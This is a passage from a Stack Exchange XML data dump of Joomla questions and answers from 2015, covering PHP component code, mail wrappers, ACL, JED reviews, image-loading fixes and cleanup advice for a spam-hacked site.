?&amp;gt;&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, the exact content of those might require some further research on your part.&lt;/p&gt;&#xA;" OwnerUserId="4120" LastEditorUserId="4120" LastEditDate="2015-04-26T16:01:21.037" LastActivityDate="2015-04-26T16:01:21.037" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9659" PostTypeId="2" ParentId="9649" CreationDate="2015-04-26T07:42:35.410" Score="2" Body="&lt;p&gt;This is really strange!. I resolved this issue. But I had to explicitly pass &quot;id&quot; column to an array. Hence, I added &quot;id&quot; (primary) key to my existing code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; foreach ($filesArr as $file)&#xA;    {&#xA;        $uploads[] = array(&#xA;           'id' =&amp;gt; '',&#xA;           'hid' =&amp;gt; $response-&amp;gt;id,&#xA;           'name' =&amp;gt; $file['name'],&#xA;           'size' =&amp;gt; $file['size']&#xA;         );&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this will be helpful for others.&lt;/p&gt;&#xA;" OwnerUserId="2233" LastActivityDate="2015-04-26T07:42:35.410" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9660" PostTypeId="2" ParentId="9641" CreationDate="2015-04-26T10:18:03.393" Score="0" Body="&lt;p&gt;A wrapper over send email functionality of Joomla. If $mode = 1, email will be sent in HTML. Courtesy: CoreJoomla CjLib component.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public static function send_email($from, $fromname, $recipient, $subject, $body, $mode=1, $cc=null, $bcc=null, $attachment=null, $replyto=null, $replytoname=null){&#xA;&#xA;    // Get a JMail instance&#xA;    $mail = JFactory::getMailer();&#xA;&#xA;    $mail-&amp;gt;setSender(array($from, $fromname));&#xA;    $mail-&amp;gt;setSubject($subject);&#xA;    $mail-&amp;gt;setBody($body);&#xA;&#xA;    // Are we sending the email as HTML?&#xA;    if ($mode) {&#xA;&#xA;        $mail-&amp;gt;IsHTML(true);&#xA;    }&#xA;&#xA;    if(!is_array($recipient)){&#xA;&#xA;        $recipient = explode(',', $recipient);&#xA;    }&#xA;&#xA;    $mail-&amp;gt;addRecipient($recipient);&#xA;    $mail-&amp;gt;addCC($cc);&#xA;    $mail-&amp;gt;addBCC($bcc);&#xA;    $mail-&amp;gt;addAttachment($attachment);&#xA;&#xA;    // Take care of reply email addresses&#xA;    if (is_array($replyto)) {&#xA;&#xA;        $numReplyTo = count($replyto);&#xA;&#xA;        for ($i=0; $i &amp;lt; $numReplyTo; $i++){&#xA;&#xA;            $mail-&amp;gt;addReplyTo(array($replyto[$i], $replytoname[$i]));&#xA;        }&#xA;    } elseif (isset($replyto)) {&#xA;&#xA;        $mail-&amp;gt;addReplyTo(array($replyto, $replytoname));&#xA;    }&#xA;&#xA;    return  $mail-&amp;gt;Send();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4134" LastActivityDate="2015-04-26T10:18:03.393" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9661" PostTypeId="2" ParentId="9655" CreationDate="2015-04-26T10:30:37.837" Score="4" Body="&lt;p&gt;Open developer tools on your browser (F12 on Chrome) and see if there are any 404 errors. Usually JCE loads buttons from one sprite located under.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/components/com_jce/editor/tiny_mce/themes/advanced/img/icons.png&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The other possibility is some other style sheet on your site is overriding the buttons css. In your browser developer tools debug css of styles such as &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.defaultSkin .mceIcon&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and see what is the background property. It should be something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.defaultSkin .mceIcon {&#xA;  background: url(../../img/icons.png) no-repeat 20px 20px;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4134" LastActivityDate="2015-04-26T10:30:37.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9662" PostTypeId="2" ParentId="9592" CreationDate="2015-04-26T11:04:28.020" Score="1" Body="&lt;p&gt;If your model extends JModelAdmin or JModelForm, you can use its validate function to validate client input before saving it to database.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class MyComponentModelForm extends JModelAdmin&#xA;{&#xA;&#xA;  ....&#xA;  ....&#xA;&#xA;  /* Override */&#xA;  public function validate($form, $data, $group = null)&#xA;  {&#xA;     $data = parent::validate($form, $data, $group = null);&#xA;     if(!$data || empty($data['myfield']))&#xA;     {&#xA;       JFactory::getApplication()-&amp;gt;enqueueMessage(JText::_('COM_MYCOMPONENT_FIELD_REQUIRED'));&#xA;       return false;&#xA;     }&#xA;&#xA;    return $data;&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4134" LastEditorUserId="4134" LastEditDate="2015-05-26T13:55:30.033" LastActivityDate="2015-05-26T13:55:30.033" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9663" PostTypeId="2" ParentId="8709" CreationDate="2015-04-26T11:31:08.677" Score="0" Body="&lt;p&gt;Use the following code to get the menu item field values.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication();    &#xA;$menuid = $app-&amp;gt;getMenu()-&amp;gt;getActive()-&amp;gt;id;&#xA;$params = $app-&amp;gt;getMenu()-&amp;gt;getParams( $menuid );&#xA;$city = $params-&amp;gt;get('city', 'London');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4134" LastActivityDate="2015-04-26T11:31:08.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9664" PostTypeId="2" ParentId="9653" CreationDate="2015-04-26T16:36:07.210" Score="1" Body="&lt;p&gt;@Mark Bradley, &lt;code&gt;JURI::root(true)&lt;/code&gt; displays &lt;strong&gt;/css/main.css&lt;/strong&gt; at least in Joomla 3 but we need &lt;strong&gt;templates/our_tmpl/css/main.css&lt;/strong&gt; so the correct path is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$tempDoc-&amp;gt;addStyleSheet($this-&amp;gt;baseurl.'/templates/'.$this-&amp;gt;template.'/css/main.css');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4042" LastActivityDate="2015-04-26T16:36:07.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9665" PostTypeId="1" CreationDate="2015-04-26T16:57:38.970" Score="0" ViewCount="78" Body="&lt;p&gt;I've got a couple of questions about how ACL works in Joomla.&#xA;First of all, I would like to restrict access in certain categories only to users that are registered (some times paying a subscription). Is this achiavable in Joomla? How?&#xA;Second, can I give to some users the ability to write articles in specific categories, but not to automatically publish them? They are created in state &quot;suspended&quot; and only administrator can change the state to &quot;published&quot;.&#xA;I'm willing to use K2.&#xA;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="3565" LastActivityDate="2015-08-25T21:02:16.330" Title="Some info about ACL in Joomla" Tags="|acl|subscriptions|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9666" PostTypeId="1" AcceptedAnswerId="9676" CreationDate="2015-04-26T18:06:48.490" Score="3" ViewCount="1989" Body="&lt;p&gt;We have 2 tables that have data and we need to bring data from both the tables and show in one single view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have one single XML file which holds the fields of both the tables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The function 'getForm' in model is able to load all the fields from XML and able to load the HTML elements in the form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is the function 'getItem' is only able to bring data from one table and not from the other table.  I think since the function 'getTable' is tied with the first table it only bring data from the first table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can we load data from second table inside getItem?&lt;/p&gt;&#xA;" OwnerUserId="2239" LastEditorUserId="2239" LastEditDate="2015-04-26T18:56:48.060" LastActivityDate="2015-04-27T13:47:33.017" Title="Load a Single Admin view with multiple tables and forms" Tags="|joomla-3.x|administrator|jform|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9668" PostTypeId="1" CreationDate="2015-04-26T23:14:58.237" Score="0" ViewCount="193" Body="&lt;p&gt;I am using the newest version of Joomla. I have several pictures I am trying to get on my site. Within the module manager, inside the individual module everything is great. The pictures load fine. I hop over to the live site and they show up just great. The problem is when I leave that individual module editor on the Joomla back-end to edit something else. Suddenly, when I go to the live site, the pictures are replaced with the little Image broken Icon. Thinking something went wrong with the module editor, I hop back into the module, but everything is fine. Again looking at the live site shows the pictures. This is a maddening error that I haven't been able to find a cure for. Any ideas? &lt;/p&gt;&#xA;" OwnerUserId="4132" LastEditorUserId="4132" LastEditDate="2015-04-27T17:27:35.320" LastActivityDate="2015-04-29T02:05:34.320" Title="Photo's don't show on Live site" Tags="|module|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9672" PostTypeId="1" AcceptedAnswerId="9673" CreationDate="2015-04-27T10:41:40.110" Score="0" ViewCount="421" Body="&lt;p&gt;if you take a look at my website: &lt;a href=&quot;http://nerdyfuture.byethost24.com&quot; rel=&quot;nofollow&quot;&gt;NerdyFuture&lt;/a&gt;. You can probably see the couple of pictures at the top of the website. I made this in a custom HTML module, now what I want to achieve is to input data from another module in the custom HTML module I made. I want input the data from the module: Mini Frontpage. So the data that I need from Mini Frontpage is the title,thumbnail,description and link from one article. How can I achieve this? &lt;/p&gt;&#xA;" OwnerUserId="3396" LastActivityDate="2018-01-10T17:34:12.350" Title="How To Import Data From Module into a Custom HTML Module" Tags="|joomla-3.x|module|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9673" PostTypeId="2" ParentId="9672" CreationDate="2015-04-27T10:47:10.937" Score="1" Body="&lt;p&gt;To do this, you can simply load module 1 into module 2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your Custom HTML module, add the following into the textarea:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{loadposition XXX}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where &lt;code&gt;XXX&lt;/code&gt; is the position of your first module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To load an article into your Custom HTML module, you can also use NoNumber's &lt;a href=&quot;https://www.nonumber.nl/extensions/articlesanywhere&quot; rel=&quot;nofollow&quot;&gt;Articles Anywhere&lt;/a&gt; plugin. &lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-04-27T10:47:10.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9674" PostTypeId="1" AcceptedAnswerId="9688" CreationDate="2015-04-27T10:59:27.247" Score="8" ViewCount="222" Body="&lt;p&gt;I saw on NoNumber's website, he has a tab which shows reviews from the Joomla Extensions Directory, for example, &lt;a href=&quot;https://www.nonumber.nl/extensions/sliders#reviews&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering, if it's possible to somehow pull reviews from the JED website. I've looked around, but it appears JED don't provide an API, nor can I find anything in the Joomla libraries folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried parsing the HTML from a page, however this is overkill and results in very long page loading times.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know if this is possible? Would an RSS feed of some sort be more appropriate?&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2015-04-27T11:20:24.750" LastActivityDate="2015-04-29T11:15:13.533" Title="Getting reviews from JED" Tags="|joomla-3.4|jed|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9675" PostTypeId="2" ParentId="9674" CreationDate="2015-04-27T13:34:22.093" Score="1" Body="&lt;p&gt;Unfortunately there's no rss feed on JED pages :(&#xA;I suspect they do it manually or maybe they scrape the page. It's a shame because it would be awesome if they could be used for schema.org markup too.&lt;/p&gt;&#xA;" OwnerUserId="1848" LastActivityDate="2015-04-27T13:34:22.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9676" PostTypeId="2" ParentId="9666" CreationDate="2015-04-27T13:47:33.017" Score="5" Body="&lt;p&gt;In your model class you want to override the getItem method like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function getItem() {&#xA;    $item = parent::getItem();&#xA;&#xA;    $item-&amp;gt;second_table = $this-&amp;gt;getSecondTable($item-&amp;gt;second_table_foreign_key);&#xA;    $item-&amp;gt;third_table = $this-&amp;gt;getThirdTable($item-&amp;gt;third_table_foreign_key);&#xA;    return $item;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The key here is you still call the parent class getItem as there is a lot of stuff going on in the background, especially if you have any kind of cache enabled.  Now, even though you might not have a view, you should set up a model and table class for the secondary table.  This way you can easily load the relevant data from you helper methods:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;private function getSecondTable($id) {&#xA;    $model = JModelLegacy::getInstance('SecondTable','MyComponentModel');&#xA;    $table = $model-&amp;gt;getTable('SecondTable', 'MyComponentTable');&#xA;    return $table-&amp;gt;load($id);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It is important that your form xml definition field names still match up to the actual column names in the second and third tables.  Finally, you will need to do the reverse on the save event.  Again, you will overload the save method in the model:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function save($data) {&#xA;    $this-&amp;gt;saveSecondTableData($data);&#xA;    $this-&amp;gt;saveThirdTableData($data);&#xA;    parent::save($data);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can use the table class again in your helper methods to save:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;private function saveSecondTableData($data) {&#xA;    $model = ModelLegacy::getInstance('SecondTable','MyComponentModel');&#xA;    $table = $model-&amp;gt;getTable('SecondTable', 'MyComponentTable');&#xA;    $table-&amp;gt;bind($data);&#xA;    $table-&amp;gt;store();&#xA;    parent::save($data);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, this is an extremely bare bones example here, there's a lot of due diligence I've left out; such as error checking, server side form validation, the table bind, load and store events and displaying alerts, etc.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, this assumes you would like to save any changes the ancillary table data to be saved into the DB.  If all you want is to display the data a left join in the getListQuery() model method would sort out immediately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the basic concept for connecting multiple tables to a single view is there. &lt;/p&gt;&#xA;" OwnerUserId="1906" LastActivityDate="2015-04-27T13:47:33.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9677" PostTypeId="2" ParentId="4436" CreationDate="2015-04-27T13:55:10.597" Score="0" Body="&lt;p&gt;In Your case it's hacked site or You have some component or module that is showing seo links (it's best to delete it if You find out which one does it). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try to seach in content of files (total commander can do this via ftp) for &quot;Bookmakers bonuses&quot;, &quot;gbetting.co.uk&quot; or &quot;-6500px&quot;. If You find the problematic file You can find the date of file change. If so it's best to take clean files from backup if it's possible. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If code is placed in module or component dir it's big chanse that it's not a hack attempt but component or module from spam developer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;You can also scan your site with:&lt;/strong&gt;&#xA;&lt;a href=&quot;http://virustotal.com&quot; rel=&quot;nofollow&quot;&gt;http://virustotal.com&lt;/a&gt; - many virus scanners. It's best place to start.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://quttera.com&quot; rel=&quot;nofollow&quot;&gt;http://quttera.com&lt;/a&gt; - it shows which files are corupted&lt;/p&gt;&#xA;&#xA;&lt;p&gt;sitecheck.sucuri.net - similar to above&lt;/p&gt;&#xA;&#xA;&lt;p&gt;www.urlvoid.com - similar to above&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If any of these sites show infection, You have to clean Youre site. &lt;/p&gt;&#xA;" OwnerUserId="4140" LastActivityDate="2015-04-27T13:55:10.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9678" PostTypeId="2" ParentId="9674" CreationDate="2015-04-27T14:31:18.293" Score="5" Body="&lt;p&gt;That's a great idea.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suppose you could use a tool such as &lt;a href=&quot;http://feed43.com/&quot;&gt;Feed43&lt;/a&gt; to create a '&lt;a href=&quot;http://feed43.com/feed.html?action=new&quot;&gt;custom feed&lt;/a&gt;'. It's a free online service converts any web page to an RSS feed on the fly. You could then use this feed, and display the results wherever you like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works by converting free-form HTML or XML documents to valid RSS feeds by extracting snippets of text or HTML by means of applying &lt;strong&gt;search patterns&lt;/strong&gt;, and then joining these snippets together using output templates to form user-friendly content of feed's items. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have the feed setup it seems quite simple;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Your feed reader sends request to our server to download the feed.&lt;/li&gt;&#xA;&lt;li&gt;Feed43, in it's turn, downloads the original source URL, processes it, converts to valid RSS feed on the fly, and returns it to feed reader application.&lt;/li&gt;&#xA;&lt;li&gt;Feed reader displays the contents of this feed to you.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I tried it quickly myself using a random JED extension URL and it does pick up the reviews, even though they are shown in a tab in JED (other free rss creators can't do this).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Play around with it &lt;a href=&quot;http://feed43.com/&quot;&gt;here&lt;/a&gt; yourself, I haven't got much time to experiment with it at the minute. The search params threw me off a but I'm sure it just takes a little practice! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2015-04-27T14:31:18.293" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9680" PostTypeId="2" ParentId="9665" CreationDate="2015-04-27T17:48:23.493" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I would like to restrict access in certain categories only to users that are registered (some times paying a subscription)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, using third party extensions like Akeeba Subscriptions, you can allow only paid/registered customers to specific categories. This is done with the following method.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create new user group in your user groups manager &lt;/li&gt;&#xA;&lt;li&gt;Give the create permission of the category to above group &lt;/li&gt;&#xA;&lt;li&gt;Setup Akeebasubs to assign this user group to the user after payment is made&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;They are created in state &quot;suspended&quot; and only administrator can change the state to &quot;published&quot;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Joomla do not provide this feature by default, however third party components such as CjBlog adds this functionality to Joomla.&lt;/p&gt;&#xA;" OwnerUserId="4134" LastActivityDate="2015-04-27T17:48:23.493" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9681" PostTypeId="2" ParentId="9138" CreationDate="2015-04-27T18:22:15.163" Score="1" Body="&lt;p&gt;Here is a sample function that can give you ordered list based on your order array.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function getSortedArray($myObj, $ordering)&#xA;{&#xA;  // first build an array with keys as your order, values as data (url)&#xA;  $myArray = array();&#xA;  foreach($myObj-&amp;gt;order as $i=&amp;gt;$order)&#xA;  {&#xA;    $myArray[$order] = $myObj-&amp;gt;url[$i];&#xA;  }&#xA;&#xA;  // now you can get the data as per the user requested order&#xA;  $return = array();&#xA;  foreach($ordering as $order)&#xA;  { &#xA;    $return[] = $myArray[$order];&#xA;  }&#xA;&#xA;  return $return;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4134" LastActivityDate="2015-04-27T18:22:15.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9682" PostTypeId="2" ParentId="9668" CreationDate="2015-04-27T19:19:59.367" Score="0" Body="&lt;p&gt;Just had a quick look and according to the console it's throwing a 403 error for the images. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could be a permissions issue, go to admin control panel -&gt; Site -&gt; System Information -&gt; Directory Permissions and make sure everything is ok, i.e every directory is writeable (green). Especially the &lt;code&gt;tmp&lt;/code&gt; folder, this may be the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check your &lt;strong&gt;Log&lt;/strong&gt; directory and &lt;strong&gt;Temp&lt;/strong&gt; directory in your global config - what do they say? Did you upload the images using the editor or ftp?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also take a full backup of your site using &lt;a href=&quot;https://www.akeebabackup.com/&quot; rel=&quot;nofollow&quot;&gt;Akeeba Backup&lt;/a&gt;, and create a local copy on your PC, There are many tutorials on how to do this if you are unsure just search this site. If you make a local copy on your PC you can rule out server issues and file path issues quite easily.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's a permissions issues you can change this easily on your hosting account. Depending on the security configuration of your Web server the recommended default permissions are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;755 for directories&lt;/li&gt;&#xA;&lt;li&gt;644 for files&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Helpful link &lt;a href=&quot;https://docs.joomla.org/Verifying_permissions&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2015-04-27T19:19:59.367" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="9683" PostTypeId="1" CreationDate="2015-04-27T20:00:48.743" Score="1" ViewCount="129" Body="&lt;p&gt;I would like to get the installation-date of my joomla-installation and/or of any component by writing a new method in a model of my component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How could I solve this?&lt;/p&gt;&#xA;" OwnerUserId="4028" LastActivityDate="2015-07-27T02:02:49.177" Title="Get installation-date of Joomla and/or of a component?" Tags="|php|model|jmodel|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9684" PostTypeId="2" ParentId="9394" CreationDate="2015-04-27T20:28:52.943" Score="1" Body="&lt;p&gt;This is a strange problem. I wonder how you entered those links. Normally Joomla should update links automatically - if entered correctly. Anyway, 2 solutions come to my mind spontaneously:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Replace wrong links with correct links in all articles in the database:&#xA;&lt;a href=&quot;http://extensions.joomla.org/extension/db-replacer&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extension/db-replacer&lt;/a&gt; &#xA;(or directly with a DB tool, phpMyAdmin, HeidiSQL, etc.)&lt;/li&gt;&#xA;&lt;li&gt;Use sh404sef to create an alias. Seems like a bit of an overkill for a single link, but sh404sef can do other things that you might find useful. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="4142" LastActivityDate="2015-04-27T20:28:52.943" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9685" PostTypeId="1" CreationDate="2015-04-27T21:31:08.233" Score="1" ViewCount="68" Body="&lt;p&gt;I have a really strange issue: Images on the mobile version and scaled version of our website are first loading correctly and then they suddenly disappear. Any clue what could have happened? Cache and gzip are disabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thxs!&lt;/p&gt;&#xA;" OwnerUserId="4144" LastEditorUserId="4144" LastEditDate="2015-04-27T22:06:00.963" LastActivityDate="2015-08-26T11:01:10.057" Title="Images on mobile version and scaled version of website disappear" Tags="|images|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9686" PostTypeId="2" ParentId="9674" CreationDate="2015-04-27T21:48:16.483" Score="4" Body="&lt;p&gt;I coded a module that scrapes the JED site once per day and caches the parsed content using Joomla's cache management system.  It was great, as it kept page loads fast.  However the JED changed the layout of the site and I just haven't gotten to fixing it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a lot of regressive regular expressions in it, but it can be done.  I'd offer you mine but it doesn't work for their new design and layout yet.&lt;/p&gt;&#xA;" OwnerUserId="4145" LastActivityDate="2015-04-27T21:48:16.483" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9687" PostTypeId="2" ParentId="9685" CreationDate="2015-04-27T22:05:31.643" Score="1" Body="&lt;p&gt;I found the solution. retina.js was activated. Never heard from it, didn't know my template was using it (no notice anywhere). &lt;a href=&quot;https://www.ostraining.com/blog/joomla/retina-js/&quot; rel=&quot;nofollow&quot;&gt;https://www.ostraining.com/blog/joomla/retina-js/&lt;/a&gt; just reverse the solution. Check if you will find retina.js (most probably at templates/mytemplate/js/) or check the url /path of the missing image. Probably it will end with @2x at the end of the image name. Insert high res images with new names or out comment  from index at your template folder.&lt;/p&gt;&#xA;" OwnerUserId="4144" LastActivityDate="2015-04-27T22:05:31.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9688" PostTypeId="2" ParentId="9674" CreationDate="2015-04-27T23:40:01.157" Score="10" Body="&lt;p&gt;There's a JSON undocumented API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say your extension has an id of 83 this url will give you the extension and its reviews:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://extensions.joomla.org/index.php?option=com_jed&amp;amp;view=extension&amp;amp;layout=details&amp;amp;id=83&amp;amp;format=json&quot;&gt;http://extensions.joomla.org/index.php?option=com_jed&amp;amp;view=extension&amp;amp;layout=details&amp;amp;id=83&amp;amp;format=json&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need jsonp rather than just a simple json output then set format=jsonp.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To work out the extension id you can go to the extensions actual page e.g. &lt;a href=&quot;http://extensions.joomla.org/extensions/extension/contacts-and-feedback/forms/fabrik&quot;&gt;http://extensions.joomla.org/extensions/extension/contacts-and-feedback/forms/fabrik&lt;/a&gt;, and inspect the the 'write a review' button's href - which looks similar to :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://extensions.joomla.org/write-review/review/add?extension_id=83&quot;&gt;http://extensions.joomla.org/write-review/review/add?extension_id=83&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;use FOO as your extension id from the segment extension_id=FOO.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that rate limiting may be implemented in the future - so best to cache any api call results.&#xA;Also that JSON Web tokens (&lt;a href=&quot;http://jwt.io/&quot;&gt;http://jwt.io/&lt;/a&gt;) may be needed in the future to access the API.&lt;/p&gt;&#xA;" OwnerUserId="1912" LastActivityDate="2015-04-27T23:40:01.157" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9689" PostTypeId="2" ParentId="9683" CreationDate="2015-04-27T23:49:36.593" Score="1" Body="&lt;p&gt;On Linux the best you can do is work out the last modified time of a certain file by using filetime (&lt;a href=&quot;http://php.net/filemtime&quot; rel=&quot;nofollow&quot;&gt;http://php.net/filemtime&lt;/a&gt;).&#xA;So to work out the Joomla installation date you could run filetime on a file that is not likely to have been edited /components/index.html.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could use the same principle for extensions by doing :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;filetime('/components/com_foo/index.html')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1912" LastActivityDate="2015-04-27T23:49:36.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9690" PostTypeId="2" ParentId="9668" CreationDate="2015-04-28T01:13:50.000" Score="0" Body="&lt;p&gt;I don't this the is anything wrong with permissions, I can access the images directly using the URL - I found this using Firebug: &lt;a href=&quot;http://daniel.stamand.net/joomla30/images/IMG_0480.jpg&quot; rel=&quot;nofollow&quot;&gt;http://daniel.stamand.net/joomla30/images/IMG_0480.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I suspect the issue is with your carousel component/module not displaying the images and it might be due to the fact the image are quite large between 400 to 800 Kb and they are not loading in time, before it moves on to the next slide.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a setting in the module to pre-load the images?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also try to reduce the image size as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try embedding an image in to a normal Joomla article and see if that works. It should display the image without any issue.&lt;/p&gt;&#xA;" OwnerUserId="4141" LastEditorUserId="4141" LastEditDate="2015-04-29T02:05:34.320" LastActivityDate="2015-04-29T02:05:34.320" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
